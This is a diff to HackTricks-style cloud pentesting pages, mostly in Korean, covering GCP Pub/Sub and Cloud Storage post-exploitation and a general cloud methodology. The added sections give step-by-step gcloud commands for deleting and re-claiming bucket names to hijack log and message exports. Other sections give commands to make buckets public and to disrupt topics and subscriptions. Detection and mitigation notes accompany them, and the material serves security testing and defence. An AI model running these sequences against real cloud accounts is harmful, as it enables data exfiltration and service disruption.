-topic 삭제 +Delete topic ```bash gcloud pubsub topics delete ``` @@ -50,11 +50,11 @@ gcloud pubsub topics delete ### `pubsub.topics.update` -이 권한을 사용해 토픽의 일부 설정을 변경하여 중단시킬 수 있습니다. 예: `--clear-schema-settings`, `--message-retention-duration`, `--message-storage-policy-allowed-regions`, `--schema`, `--schema-project`, `--topic-encryption-key`... +이 권한을 사용해 topic의 일부 설정을 업데이트하여 이를 방해할 수 있습니다. 예를 들어 `--clear-schema-settings`, `--message-retention-duration`, `--message-storage-policy-allowed-regions`, `--schema`, `--schema-project`, `--topic-encryption-key`... ### `pubsub.topics.setIamPolicy` -자신에게 이전 공격들을 수행할 수 있는 권한을 부여하세요. +이전 공격들을 수행할 수 있는 권한을 스스로 부여하세요. ```bash # Add Binding gcloud pubsub topics add-iam-policy-binding \ @@ -84,22 +84,22 @@ gcloud pubsub topics set-iam-policy \ ``` ### **`pubsub.subscriptions.create,`**`pubsub.topics.attachSubscription` , (`pubsub.subscriptions.consume`) -웹 서버에서 모든 메시지를 가져오기: +웹 서버에 있는 모든 메시지를 가져오기:
-메시지 수신을 위한 push subscription 생성 +메시지를 수신하기 위한 push subscription 생성 ```bash # Crete push subscription and recieve all the messages instantly in your web server gcloud pubsub subscriptions create --topic --push-endpoint https:// ```
-구독을 생성하고 이를 사용하여 **pull messages**: +구독을 생성하고 이를 사용하여 **메시지를 pull**:
-Create pull subscription and retrieve messages +pull subscription 생성 및 메시지 가져오기 ```bash # This will retrive a non ACKed message (and won't ACK it) gcloud pubsub subscriptions create --topic @@ -112,11 +112,11 @@ gcloud pubsub subscriptions pull ### `pubsub.subscriptions.delete` -**구독 삭제**는 로그 처리 시스템을 중단시키는 등 유용할 수 있습니다: +**subscription 삭제**는 로그 처리 시스템이나 그와 유사한 것을 방해하는 데 유용할 수 있습니다:
-구독 삭제 +subscription 삭제 ```bash gcloud pubsub subscriptions delete ``` @@ -124,28 +124,61 @@ gcloud pubsub subscriptions delete ### `pubsub.subscriptions.update` -이 권한을 사용해 메시지가 접근 가능한 위치(URL, Big Query table, Bucket)에 저장되도록 일부 설정을 변경하거나 단순히 이를 방해할 수 있다. +이 권한을 사용해 메시지가 접근 가능한 위치(URL, Big Query table, Bucket)에 저장되도록 일부 설정을 변경하거나, 단순히 이를 방해할 수 있습니다.
-구독 엔드포인트 업데이트 +Update subscription endpoint ```bash gcloud pubsub subscriptions update --push-endpoint ```
+### Cloud Storage subscription bucket-name hijack - `storage.buckets.delete` + +Pub/Sub subscriptions는 전달된 메시지를 Cloud Storage buckets에 쓸 수 있습니다. subscription이 계속 `gs://`을 가리키고 있고 attacker가 그 bucket을 delete할 수 있다면, attacker는 다른 project에서 동일한 globally-unique bucket name을 다시 create해서 subscription을 변경하지 않고도 이후 메시지를 받을 수 있습니다. + +이것은 attacker가 `pubsub.subscriptions.update`를 사용할 수 없지만, `storage.buckets.delete`, `storage.objects.delete`, `storage.objects.list` 같은 permissions로 destination bucket을 delete할 수 있을 때 유용할 수 있습니다. +```bash +# Find Cloud Storage subscriptions and their destinations +gcloud pubsub subscriptions list --project \ +--format='json(name,topic,cloudStorageConfig)' + +# Empty and delete the destination bucket +gcloud storage rm -r gs:// + +# Recreate the same bucket name under attacker control +gcloud storage buckets create gs:// \ +--project \ +--location + +# Grant the Pub/Sub service agent write access if delivery requires it +gcloud storage buckets add-iam-policy-binding gs:// \ +--member='serviceAccount:service-@gcp-sa-pubsub.iam.gserviceaccount.com' \ +--role='roles/storage.objectCreator' \ +--project + +gcloud storage buckets add-iam-policy-binding gs:// \ +--member='serviceAccount:service-@gcp-sa-pubsub.iam.gserviceaccount.com' \ +--role='roles/storage.legacyBucketReader' \ +--project +``` +**Potential Impact:** Cloud Storage에 보관된 future Pub/Sub messages의 exfiltration, including application events, failed pipeline payloads, logs, or data lake ingestion records. + +**Detection & Mitigation:** alert on deletion of buckets used by Pub/Sub subscriptions, review subscriptions with `cloudStorageConfig`, watch for delivery errors followed by bucket recreation, and limit destructive access on message archival buckets. + ### `pubsub.subscriptions.setIamPolicy` -앞서 언급한 공격들을 수행하는 데 필요한 권한을 자신에게 부여합니다. +Give yourself the permissions needed to perform any of the previously commented attacks. ### `pubsub.schemas.attach`, `pubsub.topics.update`,(`pubsub.schemas.create`) -schema를 topic에 연결하여 messages가 schema를 충족하지 못하게 만들어 topic이 중단되도록 합니다.\ -schemas가 없으면 새로 하나 생성해야 할 수도 있습니다. +Attack a schema to a topic so the messages doesn't fulfil it and therefore the topic is disrupted.\ +If there aren't any schemas you might need to create one.
-schema 파일을 생성하고 topic에 연결 +Create schema file and attach to topic ```json:schema.json { "namespace": "com.example", @@ -174,11 +207,11 @@ gcloud pubsub topics update projects//topics/ \ ### `pubsub.schemas.delete` -이것은 스키마를 삭제하면 스키마를 충족하지 않는 메시지를 보낼 수 있게 되는 것처럼 보일 수 있습니다. 하지만 스키마가 삭제되기 때문에 실제로 어떤 메시지도 해당 토픽에 들어가지 않습니다. 따라서 이것은 **무의미**: +이것은 스키마를 삭제하면 schema를 만족하지 않는 메시지를 보낼 수 있을 것처럼 보일 수 있습니다. 그러나 schema가 삭제되므로 어떤 메시지도 실제로 topic 안으로 들어가지 않습니다. 따라서 이것은 **USELESS**입니다:
-스키마 삭제 (유용하지 않음) +Delete schema (not useful) ```bash gcloud pubsub schemas delete ``` @@ -186,15 +219,15 @@ gcloud pubsub schemas delete ### `pubsub.schemas.setIamPolicy` -이전에 언급한 공격들을 수행하는 데 필요한 권한을 자신에게 부여합니다. +이전의 주석 처리된 공격들을 수행하는 데 필요한 permissions를 스스로 부여할 수 있습니다. ### `pubsub.snapshots.create`, `pubsub.snapshots.seek` -이는 모든 unACKed 메시지의 스냅샷을 생성하여 구독(subscription)으로 다시 넣습니다. 공격자에게는 별로 유용하지 않지만, 예시는 다음과 같습니다: +이것은 ACK되지 않은 모든 messages의 snapshot을 생성하고 이를 subscription으로 다시 넣습니다. attacker에게는 별로 유용하지 않지만, 여기서는 다음과 같습니다:
-스냅샷 생성 후 해당 위치로 되돌리기 +Create snapshot and seek to it ```bash gcloud pubsub snapshots create YOUR_SNAPSHOT_NAME \ --subscription=YOUR_SUBSCRIPTION_NAME diff --git a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-storage-post-exploitation.md b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-storage-post-exploitation.md index c0ba01e9e..4a0b77a56 100644 --- a/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-storage-post-exploitation.md +++ b/src/pentesting-cloud/gcp-security/gcp-post-exploitation/gcp-storage-post-exploitation.md @@ -4,15 +4,15 @@ ## Cloud Storage -Cloud Storage에 대한 자세한 정보는 다음 페이지를 확인하세요: +Cloud Storage에 대한 자세한 정보는 이 페이지를 확인하세요: {{#ref}} ../gcp-services/gcp-storage-enum.md {{#endref}} -### 공개 액세스 허용 +### Give Public Access -외부 사용자(GCP에 로그인했든 아니든)에게 버킷 콘텐츠에 대한 접근을 허용할 수 있습니다. 그러나 기본적으로 버킷은 공개 노출 옵션이 비활성화되어 있습니다: +외부 사용자(GCP에 로그인했든 아니든)에게 bucket content 접근 권한을 부여하는 것이 가능합니다. 하지만 기본적으로 bucket은 public하게 bucket을 노출하는 옵션이 비활성화되어 있습니다: ```bash # Disable public prevention gcloud storage buckets update gs://BUCKET_NAME --no-public-access-prevention @@ -25,13 +25,13 @@ gcloud storage buckets add-iam-policy-binding gs://BUCKET_NAME --member=allUsers gcloud storage buckets update gs://BUCKET_NAME --add-acl-grant=entity=AllUsers,role=READER gcloud storage objects update gs://BUCKET_NAME/OBJECT_NAME --add-acl-grant=entity=AllUsers,role=READER ``` -ACLs가 비활성화된 버킷에 **ACLs를 부여하려고 하면** 다음과 같은 오류가 나타납니다: `ERROR: HTTPError 400: Cannot use ACL API to update bucket policy when uniform bucket-level access is enabled. Read more at https://cloud.google.com/storage/docs/uniform-bucket-level-access` +If you try to give **ACLs to a bucket with disabled ACLs** you will find this error: `ERROR: HTTPError 400: Cannot use ACL API to update bucket policy when uniform bucket-level access is enabled. Read more at https://cloud.google.com/storage/docs/uniform-bucket-level-access` -브라우저에서 공개된 버킷에 접근하려면 URL `https://.storage.googleapis.com/` 또는 `https://.storage.googleapis.com/` 에 접속하세요 +브라우저를 통해 open buckets에 접근하려면 URL `https://.storage.googleapis.com/` 또는 `https://.storage.googleapis.com/`에 access하세요 ### `storage.objects.delete` (`storage.objects.get`) -객체를 삭제하려면: +object를 delete하려면: ```bash gcloud storage rm gs:/// --project= ``` @@ -41,9 +41,41 @@ gcloud storage rm gs:/// --project= ```bash gcloud storage rm -r gs:// ``` -### HMAC Keys 비활성화 +### upstream writers의 Global bucket name takeover -권한 `storage.hmacKeys.update`는 HMAC Keys를 비활성화할 수 있게 해주며, 권한 `storage.hmacKeys.delete`는 Cloud Storage에 있는 서비스 계정과 연결된 HMAC Keys를 삭제할 수 있게 합니다. +Cloud Storage bucket name은 전역적으로 unique하다. bucket을 삭제하기 전에, 어떤 automated service가 그 bucket name으로 계속 write하고 있는지 확인하라. bucket이 삭제되고 같은 name이 attacker-controlled project에서 다시 생성되면, Cloud Logging sink, Pub/Sub Cloud Storage subscription, 또는 Storage Transfer Service job 같은 upstream writers가 이후 데이터를 replacement bucket에 계속 write할 수 있다. +```bash +# Cloud Logging sinks using GCS +gcloud logging sinks list --project \ +--format='table(name,destination,writerIdentity)' + +# Pub/Sub subscriptions writing messages into GCS +gcloud pubsub subscriptions list --project \ +--format='json(name,topic,cloudStorageConfig)' + +# Storage Transfer Service jobs +gcloud transfer jobs list --project + +# Delete and reclaim the destination bucket name +gcloud storage rm -r gs:// +gcloud storage buckets create gs:// \ +--project \ +--location +``` +업스트림 서비스가 필요로 하는 경우 대체 bucket에 관련 writer identity access를 부여합니다: +```bash +gcloud storage buckets add-iam-policy-binding gs:// \ +--member='' \ +--role='roles/storage.objectCreator' \ +--project +``` +**Potential Impact:** 원래 router resource를 수정하지 않고도 logs, messages, transfer outputs, backups, 또는 data pipeline artifacts를 장기간 exfiltration할 수 있습니다. + +**Detection & Mitigation:** bucket이 sinks/subscriptions/jobs에서 참조될 때 bucket deletion을 high risk로 취급하고, dangling destinations를 alert하며, `storage.buckets.delete`를 restrict하고, 필요한 경우 중요한 export bucket에 retention policies 또는 legal holds를 사용하세요. + +### Deactivate HMAC Keys + +`storage.hmacKeys.update` permission은 HMAC keys를 disabling할 수 있게 하고, `storage.hmacKeys.delete` permission은 identity가 Cloud Storage의 service accounts와 연결된 HMAC keys를 delete할 수 있게 합니다. ```bash # Deactivate gcloud storage hmac update --deactivate @@ -52,10 +84,9 @@ gcloud storage hmac update --deactivate gcloud storage hmac delete ``` ### `storage.buckets.setIpFilter` & `storage.buckets.update` +`storage.buckets.setIpFilter` 권한은 `storage.buckets.update` 권한과 함께, Cloud Storage 버킷에 IP 주소 필터를 구성할 수 있게 하며, 어떤 IP 범위 또는 주소가 버킷의 리소스에 접근할 수 있는지 지정할 수 있습니다. -권한 `storage.buckets.setIpFilter`는 `storage.buckets.update` 권한과 함께 주체가 Cloud Storage 버킷의 IP 주소 필터를 구성할 수 있게 하며, 버킷 리소스에 접근을 허용할 IP 범위나 주소를 지정할 수 있습니다. - -IP 필터를 완전히 제거하려면 다음 명령을 사용할 수 있습니다: +IP 필터를 완전히 지우려면, 다음 명령을 사용할 수 있습니다: ```bash gcloud storage buckets update gs:// --project= ``` @@ -65,7 +96,7 @@ gcloud storage buckets update gs:// \ --ip-filter-file=ip-filter.json \ --project= ``` -JSON 파일은 필터 자체를 나타내며, 다음과 같습니다: +JSON 파일은 필터 자체를 나타내며, 대략 다음과 같습니다: ```bash { "mode": "Enabled", @@ -77,7 +108,7 @@ JSON 파일은 필터 자체를 나타내며, 다음과 같습니다: } ``` ### `storage.buckets.restore` -버킷을 복원하려면 다음을 사용하세요: +다음을 사용하여 bucket을 restore: ```bash gcloud storage restore gs://# \ --project= diff --git a/src/pentesting-cloud/pentesting-cloud-methodology.md b/src/pentesting-cloud/pentesting-cloud-methodology.md index ccdd5d3a0..d0ff36d54 100644 --- a/src/pentesting-cloud/pentesting-cloud-methodology.md +++ b/src/pentesting-cloud/pentesting-cloud-methodology.md @@ -1,4 +1,4 @@ -# Pentesting Cloud 방법론 +# Pentesting Cloud Methodology {{#include ../banners/hacktricks-training.md}} @@ -6,39 +6,65 @@ ## 기본 방법론 -각 클라우드마다 고유한 특성이 있지만, 일반적으로 클라우드 환경을 테스트할 때 **pentester가 확인해야 할 몇 가지 공통 항목**이 있습니다: +각 cloud는 고유한 특성이 있지만, 일반적으로 cloud 환경을 테스트할 때 pentester가 확인해야 할 몇 가지 **공통 사항**이 있습니다: -- **벤치마크 점검** -- 이는 환경의 **규모를 이해**하고 **사용되는 서비스**를 파악하는 데 도움이 됩니다 -- 대부분의 테스트를 **자동화 도구**로 수행할 수 있기 때문에 일부 **빠른 misconfigurations**를 찾는 데에도 유용합니다 -- **서비스 열거** -- 벤치마크 테스트를 제대로 수행했다면 여기서 더 많은 misconfigurations를 찾기 어렵지만, 벤치마크에서 찾아보지 않았던 항목을 발견할 수 있습니다. -- 이를 통해 클라우드 환경에서 **정확히 무엇이 사용되는지** 알 수 있습니다 +- **Benchmark checks** +- 이는 환경의 **규모**와 사용 중인 **services**를 **이해**하는 데 도움이 됩니다 +- 또한 대부분의 테스트를 **automated tools**로 수행할 수 있으므로 몇 가지 **quick misconfigurations**를 찾는 데도 도움이 됩니다 +- **Services Enumeration** +- benchmark tests를 올바르게 수행했다면 여기서는 더 많은 misconfigurations를 찾지 못할 가능성이 높지만, benchmark test에서 놓쳤던 것들을 찾을 수 있습니다. +- 이를 통해 cloud env에서 **정확히 무엇이 사용되고 있는지** 알 수 있습니다 - 다음 단계에서 큰 도움이 됩니다 -- **노출된 자산 확인** -- 이는 이전 섹션에서 수행할 수 있으며, 인터넷에 어떤 방식으로든 **잠재적으로 노출되어 있는 모든 것**과 그것에 어떻게 접근할 수 있는지를 찾아야 합니다. -- 여기서는 웹 페이지가 올라가 있는 인스턴스나 다른 포트가 노출된 수동으로 노출된 인프라와, DB나 버킷과 같이 **노출되도록 설정될 수 있는 다른 클라우드 관리형 서비스**에 대해 다루고 있습니다. -- 그런 다음 해당 리소스가 **노출될 수 있는지 아닌지**(기밀 정보? 취약점? 노출된 서비스의 misconfigurations?)를 확인해야 합니다. -- **권한 확인** -- 여기서는 클라우드 내 각 role/user의 **모든 권한을 파악**하고 그것들이 어떻게 사용되는지 확인해야 합니다 -- 너무 **많은 고권한(모든 것을 제어하는)** 계정이 있는가? 생성된 키가 사용되지 않고 있는가?... 대부분의 이러한 검사는 이미 벤치마크 테스트에서 수행되었어야 합니다 -- 클라이언트가 OpenID나 SAML 또는 다른 **federation**을 사용하고 있다면 각 role이 **어떻게 할당되는지**에 대해 추가 **정보**를 요청해야 할 수도 있습니다(예: admin 역할이 1명에게 할당되는 것과 100명에게 할당되는 것은 같지 않습니다) -- 단순히 어떤 사용자가 **admin** 권한 "\*:\*"을 가지고 있는지 찾는 것만으로는 **충분하지 않습니다**. 사용되는 서비스에 따라 매우 **민감한** 많은 **다른 권한들**이 있습니다. -- 또한 권한을 남용하여 따를 수 있는 **잠재적 privesc** 경로들이 있습니다. 이 모든 것을 고려하여 가능한 한 **많은 privesc 경로**를 보고해야 합니다. -- **통합(Integrations) 확인** -- 클라우드 환경 내에서 다른 클라우드나 SaaS와의 **통합이 사용되고 있을 가능성**이 높습니다. -- **감사 대상인 클라우드가 다른 플랫폼과 통합된 경우**, 그 통합을 누가 (오용)할 수 있는지 알리고 해당 동작이 얼마나 **민감한지** 물어봐야 합니다.\ -예를 들어, GCP가 데이터를 가져오는 AWS 버킷에 누가 쓸 수 있는지(그 데이터를 처리하는 GCP에서 해당 동작이 얼마나 민감한지 물어보세요). -- **감사 대상인 클라우드로부터 외부 플랫폼이 통합하는 경우**, 외부에서 그 통합을 누가 (오용)할 수 있는지 물어보고 그 데이터가 어떻게 사용되는지 확인해야 합니다.\ -예를 들어, 어떤 서비스가 GCR에 호스팅된 Docker 이미지를 사용한다면, 누가 그 이미지를 수정할 수 있는지, 그리고 그 이미지가 AWS 클라우드 내부에서 실행될 때 어떤 민감한 정보와 접근 권한을 얻을지를 물어봐야 합니다. +- **Check exposed assets** +- 이는 이전 섹션에서 수행할 수 있으며, 인터넷에 어떤 식으로든 **potentially exposed**되어 있는 모든 것과 그 접근 방법을 **찾아내야** 합니다. +- 여기서는 웹 페이지나 다른 port가 열린 instance 같은 **manually exposed infrastructure**와, 노출되도록 설정할 수 있는 **cloud managed services**(예: DBs 또는 buckets)도 다룹니다 +- 그런 다음 해당 resource가 **노출될 수 있는지 여부**를 확인해야 합니다(민감한 정보? vulnerabilities? 노출된 service의 misconfigurations?) +- **Check permissions** +- 여기서는 cloud 내부의 각 role/user의 모든 permissions와 그 사용 방식을 **찾아내야** 합니다 +- **과도하게 높은 권한**(모든 것을 제어) 계정이 너무 많은가? 생성된 key가 사용되지 않는가?... 이런 검토의 대부분은 이미 benchmark tests에서 수행되었어야 합니다 +- client가 OpenID, SAML 또는 다른 **federation**을 사용 중이라면, **각 role이 어떻게 할당되는지**에 대한 추가 **information**을 요청해야 할 수 있습니다(관리자 role이 1명의 user에게 할당되는 것과 100명의 user에게 할당되는 것은 같지 않음) +- 어떤 users가 **admin** 권한 "\*:\*"을 가지는지 찾는 것만으로는 **충분하지 않습니다**. 사용되는 services에 따라 매우 **sensitive**할 수 있는 **다른 permissions**가 많이 있습니다. +- 또한 permissions를 악용하는 **potential privesc** 방법들이 있습니다. 이 모든 것을 고려해야 하며, **가능한 한 많은 privesc paths**를 보고해야 합니다. +- **Check Integrations** +- cloud env 내부에서 다른 clouds 또는 SaaS와의 **integrations**가 사용되고 있을 가능성이 매우 높습니다. +- 감사 중인 cloud의 다른 platform과의 **integrations**에 대해서는 해당 integration을 **(악용)할 수 있는 접근 권한이 누가 있는지** 알려야 하며, 수행되는 동작이 **얼마나 sensitive한지** 물어봐야 합니다.\ +예를 들어, GCP가 데이터를 가져오는 AWS bucket에 누가 write할 수 있는지(그 데이터를 다룰 때 GCP에서 수행되는 동작이 얼마나 sensitive한지 물어보라). +- 감사 중인 cloud 내부의 외부 platform에서 오는 **integrations**에 대해서는 해당 integration을 **(악용)할 수 있는 외부 접근 권한이 누가 있는지** 물어보고 그 데이터가 어떻게 사용되는지 확인해야 합니다.\ +예를 들어, service가 GCR에 호스팅된 Docker image를 사용하고 있다면, 누가 그것을 수정할 수 있는 접근 권한이 있는지, 그리고 그 image가 AWS cloud 내부에서 실행될 때 어떤 sensitive info와 access를 얻게 되는지 물어봐야 합니다. -## 멀티 클라우드 도구 +### globally-unique storage에 쓰는 autonomous data streams 추적하기 -다양한 클라우드 환경을 테스트하는 데 사용할 수 있는 여러 도구가 있습니다. 이 섹션에서 설치 단계와 링크를 안내합니다. +post-exploitation 동안, log sinks, subscriptions, replication jobs, Firehose streams, diagnostic settings처럼 bucket이나 storage account로 쓰는 오래 지속되는 exports를 검토하세요. 대상 destination을 삭제할 수 있고 동일한 name을 attacker control 하에 다시 생성할 수 있다면, upstream service는 router resource 자체를 attacker가 업데이트할 수 없더라도 대체 destination으로 sensitive data를 계속 전달할 수 있습니다. + +이 체크는 관련 service 페이지에서 확인하세요: + +{{#ref}} +gcp-security/gcp-post-exploitation/gcp-logging-post-exploitation.md +{{#endref}} + +{{#ref}} +gcp-security/gcp-post-exploitation/gcp-pub-sub-post-exploitation.md +{{#endref}} + +{{#ref}} +gcp-security/gcp-post-exploitation/gcp-storage-post-exploitation.md +{{#endref}} + +{{#ref}} +aws-security/aws-post-exploitation/aws-s3-post-exploitation/README.md +{{#endref}} + +{{#ref}} +azure-security/az-post-exploitation/az-blob-storage-post-exploitation.md +{{#endref}} + +## Multi-Cloud tools + +여러 cloud 환경을 테스트하는 데 사용할 수 있는 여러 tools가 있습니다. 설치 단계와 links는 이 섹션에서 안내됩니다. ### [PurplePanda](https://github.com/carlospolop/purplepanda) -클라우드 및 클라우드/SaaS 전반에서 잘못된 구성과 privesc 경로를 **식별하는 도구**입니다. +clouds와 clouds/SaaS 전반에서 **bad configurations**와 **privesc path**를 식별하는 tool. {{#tabs }} {{#tab name="Install" }} @@ -71,7 +97,7 @@ python3 main.py -e -p google #Enumerate the env ### [Prowler](https://github.com/prowler-cloud/prowler) -다음 플랫폼을 지원합니다: **AWS, GCP & Azure**. 각 공급자별 구성 방법은 [https://docs.prowler.cloud/en/latest/#aws](https://docs.prowler.cloud/en/latest/#aws)에서 확인하세요. +It supports **AWS, GCP & Azure**. Check how to configure each provider in [https://docs.prowler.cloud/en/latest/#aws](https://docs.prowler.cloud/en/latest/#aws) ```bash # Install pip install prowler @@ -146,7 +172,7 @@ done {{#tabs }} {{#tab name="Install" }} -Steampipe를 다운로드하여 설치하세요 ([https://steampipe.io/downloads](https://steampipe.io/downloads)). 또는 Brew를 사용하세요: +Steampipe를 다운로드하고 설치하세요 ([https://steampipe.io/downloads](https://steampipe.io/downloads)). 또는 Brew를 사용하세요: ``` brew tap turbot/tap brew install steampipe @@ -168,9 +194,9 @@ steampipe check all ```
-모든 프로젝트 확인 +모든 Projects 확인 -모든 프로젝트를 확인하려면 테스트할 모든 프로젝트를 지정하는 `gcp.spc` 파일을 생성해야 합니다. 다음 스크립트의 지침을 따르면 됩니다. +모든 projects를 확인하려면 테스트할 모든 projects를 지정하는 `gcp.spc` 파일을 생성해야 합니다. 다음 script의 지시를 따르면 됩니다 ```bash FILEPATH="/tmp/gcp.spc" rm -rf "$FILEPATH" 2>/dev/null @@ -194,11 +220,11 @@ echo "Copy $FILEPATH in ~/.steampipe/config/gcp.spc if it was correctly generate ```
-서비스 열거에 유용한 **다른 GCP 인사이트**를 확인하려면 다음을 사용하세요: [https://github.com/turbot/steampipe-mod-gcp-insights](https://github.com/turbot/steampipe-mod-gcp-insights) +**다른 GCP insights**(서비스 열거에 유용함)를 확인하려면: [https://github.com/turbot/steampipe-mod-gcp-insights](https://github.com/turbot/steampipe-mod-gcp-insights) -Terraform GCP 코드를 확인하려면: [https://github.com/turbot/steampipe-mod-terraform-gcp-compliance](https://github.com/turbot/steampipe-mod-terraform-gcp-compliance) +Terraform GCP code를 확인하려면: [https://github.com/turbot/steampipe-mod-terraform-gcp-compliance](https://github.com/turbot/steampipe-mod-terraform-gcp-compliance) -Steampipe의 더 많은 GCP 플러그인: [https://github.com/turbot?q=gcp](https://github.com/turbot?q=gcp) +Steampipe의 더 많은 GCP plugins: [https://github.com/turbot?q=gcp](https://github.com/turbot?q=gcp) {{#endtab }} {{#tab name="AWS" }} @@ -225,24 +251,24 @@ cd steampipe-mod-aws-compliance steampipe dashboard # To see results in browser steampipe check all --export=/tmp/output4.json ``` -Terraform AWS 코드를 확인하려면: [https://github.com/turbot/steampipe-mod-terraform-aws-compliance](https://github.com/turbot/steampipe-mod-terraform-aws-compliance) +To check Terraform AWS code: [https://github.com/turbot/steampipe-mod-terraform-aws-compliance](https://github.com/turbot/steampipe-mod-terraform-aws-compliance) -Steampipe의 더 많은 AWS 플러그인: [https://github.com/orgs/turbot/repositories?q=aws](https://github.com/orgs/turbot/repositories?q=aws) +More AWS plugins of Steampipe: [https://github.com/orgs/turbot/repositories?q=aws](https://github.com/orgs/turbot/repositories?q=aws) {{#endtab }} {{#endtabs }} ### [~~cs-suite~~](https://github.com/SecurityFTW/cs-suite) AWS, GCP, Azure, DigitalOcean.\ -python2.7이 필요하며 유지보수가 되지 않는 것으로 보입니다. +python2.7이 필요하며, 유지보수되지 않는 것으로 보입니다. ### Nessus -Nessus에는 _**Audit Cloud Infrastructure**_ 스캔이 있어 다음을 지원합니다: AWS, Azure, Office 365, Rackspace, Salesforce. **Azure**에서 **Client Id**를 얻으려면 몇 가지 추가 구성이 필요합니다. +Nessus에는 AWS, Azure, Office 365, Rackspace, Salesforce를 지원하는 _**Audit Cloud Infrastructure**_ 스캔이 있습니다. **Azure**에서 **Client Id**를 얻기 위해 몇 가지 추가 구성이 필요합니다. ### [**cloudlist**](https://github.com/projectdiscovery/cloudlist) -Cloudlist는 클라우드 제공업체로부터 Assets (Hostnames, IP Addresses)을 수집하기 위한 **multi-cloud tool**입니다. +Cloudlist는 Cloud Providers에서 자산(Hostnames, IP Addresses)을 얻기 위한 **multi-cloud tool**입니다. {{#tabs }} {{#tab name="Cloudlist" }} @@ -265,7 +291,7 @@ cloudlist -config ### [**cartography**](https://github.com/lyft/cartography) -Cartography는 Neo4j database 기반의 직관적인 그래프 뷰에서 인프라 자산과 이들 간의 관계를 통합하는 Python 도구입니다. +Cartography는 Neo4j 데이터베이스로 구동되는 직관적인 그래프 뷰에서 infrastructure assets와 그들 사이의 관계를 통합하는 Python tool이다. {{#tabs }} {{#tab name="Install" }} @@ -302,7 +328,7 @@ ghcr.io/lyft/cartography \ ### [**starbase**](https://github.com/JupiterOne/starbase) -Starbase는 클라우드 인프라, SaaS 애플리케이션, 보안 통제 등 서비스와 시스템의 자산 및 관계를 수집하여 Neo4j 데이터베이스 기반의 직관적인 그래프 뷰로 제공합니다. +Starbase는 cloud infrastructure, SaaS applications, security controls 등 서비스와 시스템에서 assets와 relationships를 수집해 Neo4j database를 기반으로 한 직관적인 graph view로 보여줍니다. {{#tabs }} {{#tab name="Install" }} @@ -361,7 +387,7 @@ uri: bolt://localhost:7687 ### [**SkyArk**](https://github.com/cyberark/SkyArk) -스캔된 AWS 또는 Azure 환경에서 가장 권한이 높은 사용자를 발견합니다(예: AWS Shadow Admins 포함). powershell을 사용합니다. +스캔한 AWS 또는 Azure 환경에서 가장 높은 권한을 가진 사용자들을 찾아냅니다. AWS Shadow Admins를 포함합니다. powershell을 사용합니다. ```bash Import-Module .\SkyArk.ps1 -force Start-AzureStealth @@ -372,13 +398,13 @@ Scan-AzureAdmins ``` ### [Cloud Brute](https://github.com/0xsha/CloudBrute) -회사 (target)의 인프라, 파일 및 앱을 상위 클라우드 제공업체(Amazon, Google, Microsoft, DigitalOcean, Alibaba, Vultr, Linode)에서 찾아주는 도구입니다. +상위 cloud providers(Amazon, Google, Microsoft, DigitalOcean, Alibaba, Vultr, Linode)에서 회사(target)의 인프라, 파일, 앱을 찾는 도구입니다. ### [CloudFox](https://github.com/BishopFox/cloudfox) -- CloudFox는 클라우드 인프라에서 exploitable attack paths를 찾아주는 도구입니다 (현재는 AWS & Azure만 지원하며 GCP는 곧 지원될 예정입니다). -- 수동 pentesting을 보완하기 위한 enumeration 도구입니다. -- 클라우드 환경 내의 데이터를 생성하거나 수정하지 않습니다. +- CloudFox는 cloud infrastructure에서 exploit 가능한 attack paths를 찾는 도구입니다(현재는 AWS & Azure만 지원하며 GCP는 예정). +- manual pentesting을 보완하도록 설계된 enumeration 도구입니다. +- cloud environment 내에서 어떤 데이터도 생성하거나 수정하지 않습니다. ### More lists of cloud security tools @@ -410,12 +436,19 @@ aws-security/ azure-security/ {{#endref}} -## 공통 클라우드 보안 기능 +## Common Cloud Security Features -### 기밀 컴퓨팅 +### Confidential Computing {{#ref}} confidential-computing/luks2-header-malleability-null-cipher-abuse.md {{#endref}} +## References + +- [The Global Namespace Risk: Universal Bucket Hijacking Technique for Cloud Data Exfiltration](https://unit42.paloaltonetworks.com/cloud-bucket-hijacking-risks/) +- [Cloud Logging routing and sinks](https://docs.cloud.google.com/logging/docs/export/configure_export_v2) +- [Amazon S3 replication](https://docs.aws.amazon.com/AmazonS3/latest/userguide/replication.html) +- [Azure Monitor diagnostic settings](https://learn.microsoft.com/en-us/azure/azure-monitor/platform/diagnostic-settings) + {{#include ../banners/hacktricks-training.md}}